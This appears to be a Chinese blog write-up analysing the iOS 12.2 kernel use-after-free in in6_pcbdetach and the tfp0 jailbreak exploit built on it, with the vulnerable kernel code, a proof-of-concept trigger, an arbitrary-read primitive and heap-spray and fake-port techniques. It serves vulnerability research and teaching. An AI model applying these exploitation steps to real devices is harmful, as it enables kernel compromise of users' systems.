jailbreak analysis and rewrite on Mac
0x0前言
p0的nedwill在同事的帮助下:)完成了iOS12.2越狱,这是一个UAF的洞,是通过tfp0
的方式来拿到内核代码执行的权限,了,一般的利用方式我们都还是比较熟悉了,而且UAF的利用方式我们通常都是通过ROP
的方式来提权,所以都要配合一个信息泄漏,所以这次的利用方式还是非常值得我们去学习的。通过代码结构来看应该是少不了bazad的帮助,通过他那个软件工程式的exploit
就凸显了斯坦福博士的风格。不过整体都是C++下的看的着实有点难受。
0x1.漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| void in6_pcbdetach(struct inpcb *inp) { trueif (!(so->so_flags & SOF_PCBCLEARING)) { truetruestruct ip_moptions *imo; truetruestruct ip6_moptions *im6o; truetrueinp->inp_vflag = 0; truetrueif (inp->in6p_options != NULL) { truetruetruem_freem(inp->in6p_options); truetruetrueinp->in6p_options = NULL; truetrue} truetrueip6_freepcbopts(inp->in6p_outputopts); truetrueROUTE_RELEASE(&inp->in6p_route); truetrue truetrueif (inp->inp_options != NULL) { truetruetrue(void) m_free(inp->inp_options); truetruetrueinp->inp_options = NULL; }
|
这里在进行资源释放的时候没有把inp->in6p_outputopts
指向空,但是在socket
断连再连接的时候就会造成UAF
了,我看了一下ip6_freepcbopts
这个函数,他将in6p_outputopts
中的资源逐个释放并指向空,但很可惜忽略了他的上层。
我们的poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| DanglingOptions::DanglingOptions() : dangling_(false) { s_ = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); if (s_ < 0) { printf("failed to create socket!\n"); }
struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT}; int res = setsockopt(s_, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx)); if (res != 0) { printf("failed to enable setsockopt after disconnect!\n"); } int minmtu = -1; SetMinmtu(&minmtu); FreeOptions(); }
bool DanglingOptions::FreeOptions() { if (dangling_) { return false; } dangling_ = true; int res = disconnectx(s_, 0, 0); return res == 0; }
|
0x2总体思路
整个利用的总体结构如下:
整体的结构还是比较好理解的,与之前的利用不一样的是,这里提出了几个不一样的技巧:
- fdofiles
我们知道在一个进程的上下文中应该是会记录了这个进程打开的文件数量,有一个array
来记录这些数据,这里正是利用了这一点,来获取管道的内核地址:
task -> proc -> fd table -> open files array (fd_ofiles)
fd_ofiles -> fileproc -> f_fglob -> fg_data -> pipe -> pipe buffer
其中fake port
的管道内核地址是为了构造kernel task
,uaf pipe
是为了释放掉它的buffer
重新填充
- 20字节的任意地址读
首先来看看我们重用的那个对象的结构体:
其中pktinfo
是一个union
,包含了128 bit
的ipv6地址和一个4字节的整型index
:
1 2 3 4
| struct in6_pktinfo { struct in6_addr ipi6_addr; unsigned int ipi6_ifindex; };
|
通过getsockopt
中执行的对应option
我们可以拿到这20字节的数据,也就是意味着每次我们通过触发UAF,然后将我们想要读取的内核地址数据堆喷上去,然后通过api
再读回来。
1 2 3 4 5 6 7 8 9 10 11 12 13
| bool DanglingOptions::GetIPv6Opt(int option_name, void *data, socklen_t size) { int res = getsockopt(s_, IPPROTO_IPV6, option_name, data, &size); if (res != 0) { printf("GetIpv6Opt got %d\n", errno); return false; } return true; }
memcpy(buffer.get() + OFFSET(ip6_pktopts, ip6po_pktinfo), &address_uint, sizeof(uint64_t));
|
可能不了解总的结构体的话还是会有些模糊:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| struct ip6_pktopts { struct mbuf *ip6po_m; int ip6po_hlim; struct in6_pktinfo *ip6po_pktinfo; struct ip6po_nhinfo ip6po_nhinfo; struct ip6_hbh *ip6po_hbh; struct ip6_dest *ip6po_dest1; struct ip6po_rhinfo ip6po_rhinfo; struct ip6_dest *ip6po_dest2; int ip6po_tclass; int ip6po_minmtu; int ip6po_prefer_tempaddr;
int ip6po_flags; };
|
任意地址读相当于是用我们想要读取的数据覆盖ip6po_pktinfo
指针,所以在取的时候会对这个指针的值解引用然后读取20字节的数据回来。这个做法很精妙但是不通用,只是针对于这个结构体而言的。
- uaf_pipe
我们虽然构造了一个fake port
但是苦于没有一个合法的port name
进行操纵,所以就算我们把kernel task
全都dump
到了我们的fake task
,也没办法进行任意地址读写,这里提出了一个新的UAF pipe
,创建之后我们先通过任意地址读拿到它的内核地址信息,然后将它的buffer
给释放掉,注意这里释放的只是buffer
,而不是pipe
。
再通过堆喷大量的ool ports
占据这块buffer
,那么这个时候buffer
中应该包含着刚刚堆喷的port
的内核地址,最后将uaf pipe
的首8个字节改写为fake port
的地址,这就相当于我们拥有了一个可以操控fake port
的port name
了,最后我们接受消息,判断port name
是否合法,如果合法说明我们已经拥有了最后的内核地址读写的权限了。
- heap spray
我们知道做堆喷是有多种方式的,这里选择每一种都是有原因的,ool ports
是为了port name
,IOSurface
是因为用起来很舒服,比较自由 ,所以除非是为了fake port
,我们用的都是IOSurface
的set_value
。
最后我对于C++写的实在有点难受,另外好久也没写利用了,有点手生,所以在Mac上用C写了一下:
0x3参考链接
bugs.chromium